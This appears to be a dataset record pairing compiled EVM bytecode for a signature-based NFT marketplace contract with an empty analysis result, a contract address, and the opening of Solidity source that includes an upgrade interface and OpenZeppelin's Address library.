487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016107e3989796959493929190614478565b6040516020818303038152906040528051906020012090505b6000610806613b9c565b8260405160200161081892919061434a565b60405160208183030381529060405280519060200120905060006001828989896040516000815260200160405260405161085594939291906145a1565b6020604051602081039080840390855afa158015610877573d6000803e3d6000fd5b505050602060405103519050846001600381106108bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906108d09190613e60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461093d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610934906145e6565b60405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff161515146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90614646565b60405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff021916908315150217905550600084600360078110610a0b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610bb357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610aa19190613e60565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687600360078110610afe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610b2193929190614381565b602060405180830381600087803b158015610b3b57600080fd5b505af1158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190613f40565b610bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba990614606565b60405180910390fd5b5b600084600560078110610bef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610dc157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610c72577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610c859190613e60565b87600260038110610cbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610cd29190613e60565b87600560078110610d0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610d2f939291906143b8565b602060405180830381600087803b158015610d4957600080fd5b505af1158015610d5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d819190613f40565b610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db790614606565b60405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610e39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610e4c9190613e60565b3387600360078110610e87577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600560078110610ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013589600160078110610f05577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135610f14919061480e565b610f1e919061480e565b6040518463ffffffff1660e01b8152600401610f3c939291906143b8565b602060405180830381600087803b158015610f5657600080fd5b505af1158015610f6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8e9190613f40565b610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490614606565b60405180910390fd5b600085600060038110611009577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061101c9190613e60565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e3388600160038110611075577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906110889190613e60565b886000600781106110c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b81526004016110e5939291906143b8565b600060405180830381600087803b1580156110ff57600080fd5b505af1158015611113573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff1687600160038110611169577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061117c9190613e60565b73ffffffffffffffffffffffffffffffffffffffff167fa7d8f91a29a74a964eb806fe7ae08aa76f1b7df083c6371e800d06463644743d886001600781106111ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358960036007811061122c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a60056007811061126b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c6002600381106112aa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906112bd9190613e60565b60006040516112d0959493929190614722565b60405180910390a4505050505050505050565b8060026006811061131d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201354210611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90614666565b60405180910390fd5b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf75826000600681106113c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600581106113ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906114129190613e60565b8460016006811061144c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358560036006811061148b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135866005600681106114ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600260058110611509577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061151c9190613e60565b89600160058110611556577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906115699190613e60565b8a6004600581106115a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906115b69190613e60565b8a6002600681106115f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b60046006811061162f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161164e9b9a999897969594939291906144f6565b6040516020818303038152906040528051906020012090506000611670613b9c565b8260405160200161168292919061434a565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516116bf94939291906145a1565b6020604051602081039080840390855afa1580156116e1573d6000803e3d6000fd5b50505060206040510351905084600160058110611727577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061173a9190613e60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146117a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179e906145e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16856004600581106117f9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061180c9190613e60565b73ffffffffffffffffffffffffffffffffffffffff16146118e25784600460058110611861577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906118749190613e60565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d890614626565b60405180910390fd5b5b8360016006811061191c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201353414611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990614686565b60405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff161515146119c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bf90614646565b60405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff021916908315150217905550600085600060058110611a2f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611a429190613e60565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e87600160058110611a9a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611aad9190613e60565b3388600060068110611ae8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401611b0b939291906143b8565b600060405180830381600087803b158015611b2557600080fd5b505af1158015611b39573d6000803e3d6000fd5b50505050600085600360068110611b79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611c2c57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc86600360068110611bfa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611c2a573d6000803e3d6000fd5b505b600085600560068110611c68577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611d455785600260058110611cad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611cc09190613e60565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611d13577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611d43573d6000803e3d6000fd5b505b85600160058110611d7f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611d929190613e60565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611de5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600360068110611e24577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013534611e34919061480e565b611e3e919061480e565b9081150290604051600060405180830381858888f19350505050158015611e69573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff1687600160058110611ebc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611ecf9190613e60565b73ffffffffffffffffffffffffffffffffffffffff167f2c7bf6ee09326fa3fbd9b912516cb6953c9556299ec48456618e01d41081b0aa88600160068110611f40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a600360058110611f7f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611f929190613e60565b8a600360068110611fcc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b60056006811061200b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358d60026005811061204a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061205d9190613e60565b8e600460058110612097577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906120aa9190613e60565b6040516120bc969594939291906146c1565b60405180910390a4505050505050505050565b600060018260066007811061210d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201511415612326577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894082600660078110612173577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106121b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846001600781106121f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600360078110612230577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518760016003811061226f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106122ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151886004600781106122ed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612309989796959493929190614478565b604051602081830303815290604052805190602001209050612530565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b582600060078110612381577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106123c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846001600781106123ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560036007811061243e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518760016003811061247d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106124bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151886004600781106124fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612517989796959493929190614478565b6040516020818303038152906040528051906020012090505b92915050565b600081600260078110612572577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201514211156125875760029050612b2d565b60006001836006600781106125c5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015114156127de577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f0689408360066007811061262b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560006003811061266a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106126a9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151866003600781106126e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612727577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612766577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151896004600781106127a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040516020016127c1989796959493929190614478565b6040516020818303038152906040528051906020012090506129e8565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b583600060078110612839577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600060038110612878577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106128b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151866003600781106128f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612935577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612974577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151896004600781106129b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040516020016129cf989796959493929190614478565b6040516020818303038152906040528051906020012090505b60006129f2613b9c565b82604051602001612a0492919061434a565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051612a4194939291906145a1565b6020604051602081039080840390855afa158015612a63573d6000803e3d6000fd5b50505060206040510351905085600160038110612aa9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612aec5760009350505050612b2d565b600115156001600085815260200190815260200160002060009054906101000a900460ff1615151415612b255760019350505050612b2d565b600393505050505b95945050505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110612b93577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110612bd2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612be59190613e60565b84600160068110612c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600360068110612c5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013586600560068110612c9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600260058110612cdc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612cef9190613e60565b89600160058110612d29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612d3c9190613e60565b8a600460058110612d76577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612d899190613e60565b8a600260068110612dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600460068110612e02577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001612e219b9a999897969594939291906144f6565b604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b6000600182600660078110612ed4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351415613109577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894082600660078110612f3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110612f79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612f8c9190613e60565b84600160078110612fc6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600360078110613005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600160038110613044577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906130579190613e60565b87600260078110613091577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135886004600781106130d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016130ec989796959493929190614478565b60405160208183030381529060405280519060200120905061332f565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b582600060078110613164577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600381106131a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906131b69190613e60565b846001600781106131f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358560036007811061322f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358760016003811061326e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906132819190613e60565b876002600781106132bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135886004600781106132fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001613316989796959493929190614478565b6040516020818303038152906040528051906020012090505b600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf75826000600681106133e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110613428577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061343b9190613e60565b84600160068110613475577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600681106134b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135866005600681106134f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600260058110613532577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906135459190613e60565b8960016005811061357f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906135929190613e60565b8a6004600581106135cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906135df9190613e60565b8a600260068110613619577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600460068110613658577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016136779b9a999897969594939291906144f6565b60405160208183030381529060405280519060200120905092915050565b6000816002600681106136d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201354211156136e65760029050613b3b565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7583600060068110613743577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600060058110613782577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906137959190613e60565b856001600681106137cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660036006811061380e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358760056006811061384d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358960026005811061388c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061389f9190613e60565b8a6001600581106138d9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906138ec9190613e60565b8b600460058110613926577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906139399190613e60565b8b600260068110613973577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c6004600681106139b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016139d19b9a999897969594939291906144f6565b60405160208183030381529060405280519060200120905060006139f3613b9c565b82604051602001613a0592919061434a565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051613a4294939291906145a1565b6020604051602081039080840390855afa158015613a64573d6000803e3d6000fd5b50505060206040510351905085600160058110613aaa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190613abd9190613e60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613afb5760009350505050613b3b565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415613b335760019350505050613b3b565b600393505050505b95945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b60046020528060005260406000206000915090505481565b60016020528060005260406000206000915054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6040518060400160405280600881526020017f474f4c4f4d2e494f000000000000000000000000000000000000000000000000815250805190602001206040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525080519060200120600130604051602001613c50959493929190614425565b60405160208183030381529060405280519060200120905090565b6000613c7e613c79846147a6565b614775565b90508082856020860282011115613c9457600080fd5b60005b85811015613cc45781613caa8882613d31565b845260208401935060208301925050600181019050613c97565b5050509392505050565b6000613ce1613cdc846147cc565b614775565b90508082856020860282011115613cf757600080fd5b60005b85811015613d275781613d0d8882613e36565b845260208401935060208301925050600181019050613cfa565b5050509392505050565b600081359050613d4081614963565b92915050565b600081905082602060030282011115613d5e57600080fd5b92915050565b600082601f830112613d7557600080fd5b6003613d82848285613c6b565b91505092915050565b600081905082602060050282011115613da357600080fd5b92915050565b600081905082602060060282011115613dc157600080fd5b92915050565b600081905082602060070282011115613ddf57600080fd5b92915050565b600082601f830112613df657600080fd5b6007613e03848285613cce565b91505092915050565b600081519050613e1b8161497a565b92915050565b600081359050613e3081614991565b92915050565b600081359050613e45816149a8565b92915050565b600081359050613e5a816149bf565b92915050565b600060208284031215613e7257600080fd5b6000613e8084828501613d31565b91505092915050565b6000806101408385031215613e9d57600080fd5b6000613eab85828601613d46565b9250506060613ebc85828601613dc7565b9150509250929050565b6000806101408385031215613eda57600080fd5b6000613ee885828601613d64565b9250506060613ef985828601613de5565b9150509250929050565b6000806101608385031215613f1757600080fd5b6000613f2585828601613d8b565b92505060a0613f3685828601613da9565b9150509250929050565b600060208284031215613f5257600080fd5b6000613f6084828501613e0c565b91505092915050565b600060208284031215613f7b57600080fd5b6000613f8984828501613e21565b91505092915050565b60008060008060006101a08688031215613fab57600080fd5b6000613fb988828901613e4b565b9550506020613fca88828901613e21565b9450506040613fdb88828901613e21565b9350506060613fec88828901613d46565b92505060c0613ffd88828901613dc7565b9150509295509295909350565b60008060008060006101a0868803121561402357600080fd5b600061403188828901613e4b565b955050602061404288828901613e21565b945050604061405388828901613e21565b935050606061406488828901613d64565b92505060c061407588828901613de5565b9150509295509295909350565b60008060008060006101c0868803121561409b57600080fd5b60006140a988828901613e4b565b95505060206140ba88828901613e21565b94505060406140cb88828901613e21565b93505060606140dc88828901613d8b565b9250506101006140ee88828901613da9565b9150509295509295909350565b614104816148a1565b82525050565b61411381614842565b82525050565b61412281614854565b82525050565b61413181614860565b82525050565b61414861414382614860565b6148fb565b82525050565b614157816148b3565b82525050565b614166816148c5565b82525050565b60006141796011836147f2565b91507f696e76616c6964207369676e61747572650000000000000000000000000000006000830152602082019050919050565b60006141b96016836147f2565b91507f6572726f7220696e2077657468207472616e73666572000000000000000000006000830152602082019050919050565b60006141f9601c836147f2565b91507f6e6f742066696c6c61626c6520627920746869732061646472657373000000006000830152602082019050919050565b60006142396019836147f2565b91507f6f726465722066696c6c6564206f722063616e63656c6c6564000000000000006000830152602082019050919050565b6000614279600283614803565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006142b9601a836147f2565b91507f5369676e6564207472616e73616374696f6e20657870697265640000000000006000830152602082019050919050565b60006142f9600d836147f2565b91507f77726f6e672065746820616d74000000000000000000000000000000000000006000830152602082019050919050565b6143358161488a565b82525050565b61434481614894565b82525050565b60006143558261426c565b91506143618285614137565b6020820191506143718284614137565b6020820191508190509392505050565b6000606082019050614396600083018661410a565b6143a360208301856140fb565b6143b0604083018461432c565b949350505050565b60006060820190506143cd600083018661410a565b6143da602083018561410a565b6143e7604083018461432c565b949350505050565b60006020820190506144046000830184614119565b92915050565b600060208201905061441f6000830184614128565b92915050565b600060a08201905061443a6000830188614128565b6144476020830187614128565b6144546040830186614128565b614461606083018561415d565b61446e608083018461410a565b9695505050505050565b60006101008201905061448e600083018b614128565b61449b602083018a61432c565b6144a8604083018961410a565b6144b5606083018861432c565b6144c2608083018761432c565b6144cf60a083018661410a565b6144dc60c083018561432c565b6144e960e083018461432c565b9998505050505050505050565b60006101608201905061450c600083018e614128565b614519602083018d61432c565b614526604083018c61410a565b614533606083018b61432c565b614540608083018a61432c565b61454d60a083018961432c565b61455a60c083018861410a565b61456760e083018761410a565b61457561010083018661410a565b61458361012083018561432c565b61459161014083018461432c565b9c9b505050505050505050505050565b60006080820190506145b66000830187614128565b6145c3602083018661433b565b6145d06040830185614128565b6145dd6060830184614128565b95945050505050565b600060208201905081810360008301526145ff8161416c565b9050919050565b6000602082019050818103600083015261461f816141ac565b9050919050565b6000602082019050818103600083015261463f816141ec565b9050919050565b6000602082019050818103600083015261465f8161422c565b9050919050565b6000602082019050818103600083015261467f816142ac565b9050919050565b6000602082019050818103600083015261469f816142ec565b9050919050565b60006020820190506146bb600083018461432c565b92915050565b600060c0820190506146d6600083018961432c565b6146e3602083018861410a565b6146f0604083018761432c565b6146fd606083018661432c565b61470a608083018561410a565b61471760a083018461410a565b979650505050505050565b600060a082019050614737600083018861432c565b614744602083018761432c565b614751604083018661432c565b61475e606083018561410a565b61476b608083018461414e565b9695505050505050565b6000604051905081810181811067ffffffffffffffff8211171561479c5761479b614934565b5b8060405250919050565b600067ffffffffffffffff8211156147c1576147c0614934565b5b602082029050919050565b600067ffffffffffffffff8211156147e7576147e6614934565b5b602082029050919050565b600082825260208201905092915050565b600081905092915050565b60006148198261488a565b91506148248361488a565b92508282101561483757614836614905565b5b828203905092915050565b600061484d8261486a565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006148ac826148d7565b9050919050565b60006148be8261488a565b9050919050565b60006148d082614894565b9050919050565b60006148e2826148e9565b9050919050565b60006148f48261486a565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61496c81614842565b811461497757600080fd5b50565b61498381614854565b811461498e57600080fd5b50565b61499a81614860565b81146149a557600080fd5b50565b6149b18161488a565b81146149bc57600080fd5b50565b6149c881614894565b81146149d357600080fd5b5056fea264697066735822122004b3bae034e7cf83a192333d9ac026b1cce747ed1fbf512d9bcbe46309e3e06264736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 6,293 |
0xFb03559227Dd73E82008a6952EccbBa5088c16d8
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IUpgradeSource
interface IUpgradeSource {
function shouldUpgrade() external view returns (bool, address);
function finalizeUpgrade() external;
}
// Part: OpenZeppelin/openzeppelin-contracts@3.4.0/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
